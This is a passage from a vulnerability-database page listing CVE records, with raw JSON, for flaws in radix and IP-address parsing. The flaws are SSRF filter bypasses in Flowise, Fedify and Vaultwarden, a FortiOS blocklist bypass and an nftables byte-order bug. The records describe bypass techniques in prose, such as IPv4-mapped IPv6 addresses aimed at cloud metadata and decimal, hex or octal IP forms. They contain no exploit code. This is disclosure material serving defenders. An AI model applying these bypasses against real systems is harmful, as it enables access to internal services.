Common Weakness Enumeration
CWE-1389
AllowedIncorrect Parsing of Numbers with Different Radices
Abstraction: Base · Status: Incomplete
The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix).
10 vulnerabilities reference this CWE, most recent first.
CVE-2026-69257 (GCVE-0-2026-69257)
Vulnerability from cvelistv5 – Published: 2026-08-04 15:51 – Updated: 2026-08-04 16:36
VLAI
EPSS
VEX
Title
Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
Summary
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise's HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3.
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/FlowiseAI/Flowise/security/adv… | x_refsource_CONFIRM |
| https://github.com/FlowiseAI/Flowise/pull/6431 | x_refsource_MISC |
| https://github.com/FlowiseAI/Flowise/commit/0fc76… | x_refsource_MISC |
| https://github.com/FlowiseAI/Flowise/releases/tag… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-69257",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-04T16:34:45.470567Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-04T16:36:51.647Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Flowise",
"vendor": "FlowiseAI",
"versions": [
{
"status": "affected",
"version": "\u003c 3.1.3"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, Flowise\u0027s HTTP security module httpSecurity.ts did not normalize IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1 and ::ffff:169.254.169.254 before checking them against the deny list. Because ipaddr.js reports these addresses as ipv6 while IPv4 CIDR deny-list entries are ipv4, isDeniedIP() skipped the IPv4 CIDR checks. An attacker who controls DNS resolution for a hostname used by the HTTP Node, API Chain, Document Loader, MCP tool, or other paths using secureAxiosRequest(), secureFetch(), or checkDenyList() could return a AAAA record for an IPv4-mapped target and cause requests to reach localhost, internal services, or cloud metadata endpoints. This issue is fixed in version 3.1.3."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "CWE-1389: Incorrect Parsing of Numbers with Different Radices",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-04T15:51:47.700Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
},
{
"name": "https://github.com/FlowiseAI/Flowise/pull/6431",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/FlowiseAI/Flowise/pull/6431"
},
{
"name": "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155"
},
{
"name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"source": {
"advisory": "GHSA-c6xh-wv4j-ppv5",
"discovery": "UNKNOWN"
},
"title": "Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-69257",
"datePublished": "2026-08-04T15:51:47.700Z",
"dateReserved": "2026-08-03T19:54:19.853Z",
"dateUpdated": "2026-08-04T16:36:51.647Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-50131 (GCVE-0-2026-50131)
Vulnerability from cvelistv5 – Published: 2026-06-10 20:27 – Updated: 2026-06-11 14:16
VLAI
EPSS
VEX
Title
Fedify has an incomplete SSRF mitigation after GHSA-p9cg-vqcc-grcx: validatePublicUrl allows special-use IPv4 ranges
Summary
Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Fedify previously addressed SSRF/internal network access in GHSA-p9cg-vqcc-grcx by adding public URL validation before runtime document and media fetching. However, the IPv4 validation logic present starting in version 0.11.2 and prior to versions 1.9.12, 1.10.11, 2.0.19, 2.1.15, and 2.2.4 appears incomplete. The `validatePublicUrl()` protection relies on `isValidPublicIPv4Address()` to reject non-public IPv4 destinations. The function blocks common private and local ranges such as `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`, but it still treats several special-use, reserved, multicast, benchmarking, and carrier-grade NAT IPv4 ranges as valid public destinations. Because this validation is used as an SSRF defense before outbound fetches, this appears to be an incomplete mitigation or bypass class for the previous SSRF issue. Versions 1.9.12, 1.10.11, 2.0.19, 2.1.15, and 2.2.4 contain an updated patch.
Severity
8.6 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/fedify-dev/fedify/security/adv… | x_refsource_CONFIRM |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| fedify-dev | fedify |
Affected:
>= 0.11.2, < 1.9.12
Affected: >= 1.10.0, < 1.10.11 Affected: >= 2.0.0, < 2.0.19 Affected: >= 2.1.0, < 2.1.15 Affected: >= 2.2.0, < 2.2.4 |
|
| fedify-dev | vocab-runtime |
Affected:
< 2.0.19
Affected: >= 2.1.0, < 2.1.15 Affected: >= 2.2.0, < 2.2.4 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-50131",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-11T14:15:27.570315Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-11T14:16:17.350Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-xw9q-2mv6-9fr8"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "fedify",
"vendor": "fedify-dev",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.11.2, \u003c 1.9.12"
},
{
"status": "affected",
"version": "\u003e= 1.10.0, \u003c 1.10.11"
},
{
"status": "affected",
"version": "\u003e= 2.0.0, \u003c 2.0.19"
},
{
"status": "affected",
"version": "\u003e= 2.1.0, \u003c 2.1.15"
},
{
"status": "affected",
"version": "\u003e= 2.2.0, \u003c 2.2.4"
}
]
},
{
"product": "vocab-runtime",
"vendor": "fedify-dev",
"versions": [
{
"status": "affected",
"version": "\u003c 2.0.19"
},
{
"status": "affected",
"version": "\u003e= 2.1.0, \u003c 2.1.15"
},
{
"status": "affected",
"version": "\u003e= 2.2.0, \u003c 2.2.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Fedify previously addressed SSRF/internal network access in GHSA-p9cg-vqcc-grcx by adding public URL validation before runtime document and media fetching. However, the IPv4 validation logic present starting in version 0.11.2 and prior to versions 1.9.12, 1.10.11, 2.0.19, 2.1.15, and 2.2.4 appears incomplete. The `validatePublicUrl()` protection relies on `isValidPublicIPv4Address()` to reject non-public IPv4 destinations. The function blocks common private and local ranges such as `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, and `192.168.0.0/16`, but it still treats several special-use, reserved, multicast, benchmarking, and carrier-grade NAT IPv4 ranges as valid public destinations. Because this validation is used as an SSRF defense before outbound fetches, this appears to be an incomplete mitigation or bypass class for the previous SSRF issue. Versions 1.9.12, 1.10.11, 2.0.19, 2.1.15, and 2.2.4 contain an updated patch."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1286",
"description": "CWE-1286: Improper Validation of Syntactic Correctness of Input",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "CWE-1389: Incorrect Parsing of Numbers with Different Radices",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-10T20:27:43.370Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-xw9q-2mv6-9fr8",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-xw9q-2mv6-9fr8"
}
],
"source": {
"advisory": "GHSA-xw9q-2mv6-9fr8",
"discovery": "UNKNOWN"
},
"title": "Fedify has an incomplete SSRF mitigation after GHSA-p9cg-vqcc-grcx: validatePublicUrl allows special-use IPv4 ranges"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-50131",
"datePublished": "2026-06-10T20:27:43.370Z",
"dateReserved": "2026-06-03T18:49:32.275Z",
"dateUpdated": "2026-06-11T14:16:17.350Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-47160 (GCVE-0-2026-47160)
Vulnerability from cvelistv5 – Published: 2026-07-15 15:04 – Updated: 2026-07-15 15:41
VLAI
EPSS
VEX
Title
Vaultwarden: Server-side request forgery (SSRF) via Icon Endpoint Decimal/Hex/Octal IP Bypass
Summary
Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.36.0, Vaultwarden's /icons/{domain}/icon.png endpoint used src/http_client.rs checks including should_block_address() and post_resolve() that missed decimal, hexadecimal, and octal IP representations, allowing SSRF through the icon-fetching HTTP client for blind internal network or port discovery. This issue is fixed in version 1.36.0.
Severity
5.8 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/dani-garcia/vaultwarden/securi… | x_refsource_CONFIRM |
| https://github.com/dani-garcia/vaultwarden/pull/7162 | x_refsource_MISC |
| https://github.com/dani-garcia/vaultwarden/commit… | x_refsource_MISC |
| https://github.com/dani-garcia/vaultwarden/releas… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| dani-garcia | vaultwarden |
Affected:
< 1.36.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47160",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-15T15:41:32.180126Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-07-15T15:41:42.401Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-72vh-x5jq-m82g"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "vaultwarden",
"vendor": "dani-garcia",
"versions": [
{
"status": "affected",
"version": "\u003c 1.36.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.36.0, Vaultwarden\u0027s /icons/{domain}/icon.png endpoint used src/http_client.rs checks including should_block_address() and post_resolve() that missed decimal, hexadecimal, and octal IP representations, allowing SSRF through the icon-fetching HTTP client for blind internal network or port discovery. This issue is fixed in version 1.36.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918: Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "CWE-1389: Incorrect Parsing of Numbers with Different Radices",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-15T15:04:15.990Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-72vh-x5jq-m82g",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-72vh-x5jq-m82g"
},
{
"name": "https://github.com/dani-garcia/vaultwarden/pull/7162",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dani-garcia/vaultwarden/pull/7162"
},
{
"name": "https://github.com/dani-garcia/vaultwarden/commit/a354e57659d26149fde0d91b76f83fce94e8f277",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dani-garcia/vaultwarden/commit/a354e57659d26149fde0d91b76f83fce94e8f277"
},
{
"name": "https://github.com/dani-garcia/vaultwarden/releases/tag/1.36.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/dani-garcia/vaultwarden/releases/tag/1.36.0"
}
],
"source": {
"advisory": "GHSA-72vh-x5jq-m82g",
"discovery": "UNKNOWN"
},
"title": "Vaultwarden: Server-side request forgery (SSRF) via Icon Endpoint Decimal/Hex/Octal IP Bypass"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-47160",
"datePublished": "2026-07-15T15:04:15.990Z",
"dateReserved": "2026-05-18T21:25:34.496Z",
"dateUpdated": "2026-07-15T15:41:42.401Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2024-26015 (GCVE-0-2024-26015)
Vulnerability from cvelistv5 – Published: 2024-07-09 15:33 – Updated: 2024-08-01 23:59
VLAI
EPSS
VEX
Summary
An incorrect parsing of numbers with different radices vulnerability [CWE-1389] in FortiProxy version 7.4.3 and below, version 7.2.10 and below, version 7.0.17 and below and FortiOS version 7.4.3 and below, version 7.2.8 and below, version 7.0.15 and below IP address validation feature may permit an unauthenticated attacker to bypass the IP blocklist via crafted requests.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-1389 - Improper access control
Assigner
References
1 reference
Impacted products
4 products
| Vendor | Product | Version | |
|---|---|---|---|
| Fortinet | FortiProxy |
Affected:
7.4.0 , ≤ 7.4.3
(semver)
Affected: 7.2.0 , ≤ 7.2.10 (semver) Affected: 7.0.0 , ≤ 7.0.18 (semver) |
|
| Fortinet | FortiOS |
Affected:
7.4.0 , ≤ 7.4.3
(semver)
Affected: 7.2.0 , ≤ 7.2.8 (semver) Affected: 7.0.0 , ≤ 7.0.15 (semver) |
|
| fortinet | fortiproxy |
Affected:
7.0.0 , < 7.1.0
(semver)
Affected: 7.2.0 , < 7.3.0 (semver) Affected: 7.4.0 , ≤ 7.4.3 (semver) cpe:2.3:a:fortinet:fortiproxy:7.0.0:*:*:*:*:*:*:* cpe:2.3:a:fortinet:fortiproxy:7.2.0:*:*:*:*:*:*:* cpe:2.3:a:fortinet:fortiproxy:7.4.0:*:*:*:*:*:*:* |
|
| fortinet | fortios |
Affected:
7.0.0 , < 7.1.0
(custom)
Affected: 7.2.0 , < 7.3.0 (custom) Affected: 7.4.0 , ≤ 7.4.3 (custom) cpe:2.3:o:fortinet:fortios:7.0.0:*:*:*:*:*:*:* cpe:2.3:o:fortinet:fortios:7.2.0:*:*:*:*:*:*:* cpe:2.3:o:fortinet:fortios:7.4.0:*:*:*:*:*:*:* |
{
"containers": {
"adp": [
{
"affected": [
{
"cpes": [
"cpe:2.3:a:fortinet:fortiproxy:7.0.0:*:*:*:*:*:*:*",
"cpe:2.3:a:fortinet:fortiproxy:7.2.0:*:*:*:*:*:*:*",
"cpe:2.3:a:fortinet:fortiproxy:7.4.0:*:*:*:*:*:*:*"
],
"defaultStatus": "unknown",
"product": "fortiproxy",
"vendor": "fortinet",
"versions": [
{
"lessThan": "7.1.0",
"status": "affected",
"version": "7.0.0",
"versionType": "semver"
},
{
"lessThan": "7.3.0",
"status": "affected",
"version": "7.2.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "7.4.3",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
}
]
},
{
"cpes": [
"cpe:2.3:o:fortinet:fortios:7.0.0:*:*:*:*:*:*:*",
"cpe:2.3:o:fortinet:fortios:7.2.0:*:*:*:*:*:*:*",
"cpe:2.3:o:fortinet:fortios:7.4.0:*:*:*:*:*:*:*"
],
"defaultStatus": "unknown",
"product": "fortios",
"vendor": "fortinet",
"versions": [
{
"lessThan": "7.1.0",
"status": "affected",
"version": "7.0.0",
"versionType": "custom"
},
{
"lessThan": "7.3.0",
"status": "affected",
"version": "7.2.0",
"versionType": "custom"
},
{
"lessThanOrEqual": "7.4.3",
"status": "affected",
"version": "7.4.0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-26015",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-07-09T16:00:34.064801Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-07-09T16:05:01.819Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-01T23:59:31.104Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "https://fortiguard.fortinet.com/psirt/FG-IR-23-446",
"tags": [
"x_transferred"
],
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-23-446"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "FortiProxy",
"vendor": "Fortinet",
"versions": [
{
"lessThanOrEqual": "7.4.3",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "7.2.10",
"status": "affected",
"version": "7.2.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "7.0.18",
"status": "affected",
"version": "7.0.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "FortiOS",
"vendor": "Fortinet",
"versions": [
{
"lessThanOrEqual": "7.4.3",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "7.2.8",
"status": "affected",
"version": "7.2.0",
"versionType": "semver"
},
{
"lessThanOrEqual": "7.0.15",
"status": "affected",
"version": "7.0.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "An incorrect parsing of numbers with different radices vulnerability [CWE-1389] in FortiProxy version 7.4.3 and below, version 7.2.10 and below, version 7.0.17 and below and FortiOS version 7.4.3 and below, version 7.2.8 and below, version 7.0.15 and below IP address validation feature may permit an unauthenticated attacker to bypass the IP blocklist via crafted requests."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.1,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:F/RL:W/RC:R",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "Improper access control",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-07-09T15:33:30.260Z",
"orgId": "6abe59d8-c742-4dff-8ce8-9b0ca1073da8",
"shortName": "fortinet"
},
"references": [
{
"name": "https://fortiguard.fortinet.com/psirt/FG-IR-23-446",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-23-446"
}
],
"solutions": [
{
"lang": "en",
"value": "Please upgrade to FortiProxy version 7.4.4 or above \nPlease upgrade to FortiOS version 7.6.0 or above \nPlease upgrade to FortiOS version 7.4.4 or above \n"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6abe59d8-c742-4dff-8ce8-9b0ca1073da8",
"assignerShortName": "fortinet",
"cveId": "CVE-2024-26015",
"datePublished": "2024-07-09T15:33:30.260Z",
"dateReserved": "2024-02-14T09:18:43.246Z",
"dateUpdated": "2024-08-01T23:59:31.104Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2024-6284 (GCVE-0-2024-6284)
Vulnerability from cvelistv5 – Published: 2024-07-03 22:58 – Updated: 2025-09-08 09:36
VLAI
EPSS
VEX
Title
Improper IPv4 and IPv6 byte order storage in github.com/google/nftables
Summary
In https://github.com/google/nftables IP addresses were encoded in the wrong byte order, resulting in an nftables configuration which does not work as intended (might block or not block the desired addresses).
This issue affects: https://pkg.go.dev/github.com/google/nftables@v0.1.0
The bug was fixed in the next released version: https://pkg.go.dev/github.com/google/nftables@v0.2.0
Severity
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| https://github.com/google/nftables |
Affected:
0.1.0
Unaffected: 0.2.0 |
||
| netfilter | nftables |
Affected:
0.1.0 , < 0.2.0
(custom)
cpe:2.3:a:netfilter:nftables:*:*:*:*:*:*:*:* |
Date Public
2024-05-13 04:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-01T21:33:05.456Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://github.com/google/nftables/issues/225"
},
{
"tags": [
"x_transferred"
],
"url": "https://github.com/crowdsecurity/cs-firewall-bouncer/issues/368"
},
{
"tags": [
"x_transferred"
],
"url": "https://bugs.launchpad.net/ubuntu/+source/crowdsec-firewall-bouncer/+bug/2069596"
}
],
"title": "CVE Program Container"
},
{
"affected": [
{
"cpes": [
"cpe:2.3:a:netfilter:nftables:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"product": "nftables",
"vendor": "netfilter",
"versions": [
{
"lessThan": "0.2.0",
"status": "affected",
"version": "0.1.0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-6284",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-08-19T14:56:05.757333Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-08-19T14:58:42.867Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "https://github.com/google/nftables",
"repo": "https://github.com/google/nftables",
"vendor": "Google",
"versions": [
{
"status": "affected",
"version": "0.1.0"
},
{
"status": "unaffected",
"version": "0.2.0"
}
]
}
],
"datePublic": "2024-05-13T04:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eIn \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://github.com/google/nftables\"\u003ehttps://github.com/google/nftables\u003c/a\u003e\u0026nbsp;IP addresses were encoded in the wrong byte order,\u0026nbsp;resulting in an nftables configuration which does not work as intended (might block or not block the desired addresses).\u003cbr\u003e\u003cbr\u003eThis issue affects:\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://pkg.go.dev/github.com/google/nftables@v0.1.0\"\u003ehttps://pkg.go.dev/github.com/google/nftables@v0.1.0\u003c/a\u003e\u003cbr\u003e\u003cbr\u003eThe bug was fixed in the next released version:\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://pkg.go.dev/github.com/google/nftables@v0.2.0\"\u003ehttps://pkg.go.dev/github.com/google/nftables@v0.2.0\u003c/a\u003e\u003c/p\u003e"
}
],
"value": "In https://github.com/google/nftables \u00a0IP addresses were encoded in the wrong byte order,\u00a0resulting in an nftables configuration which does not work as intended (might block or not block the desired addresses).\n\nThis issue affects:\u00a0 https://pkg.go.dev/github.com/google/nftables@v0.1.0 \n\nThe bug was fixed in the next released version:\u00a0 https://pkg.go.dev/github.com/google/nftables@v0.2.0"
}
],
"impacts": [
{
"capecId": "CAPEC-180",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-180 Exploiting Incorrectly Configured Access Control Security Levels"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1286",
"description": "CWE-1286 Improper Validation of Syntactic Correctness of Input",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "CWE-1389 Incorrect Parsing of Numbers with Different Radices",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-09-08T09:36:50.396Z",
"orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"shortName": "Google"
},
"references": [
{
"url": "https://github.com/google/nftables/issues/225"
},
{
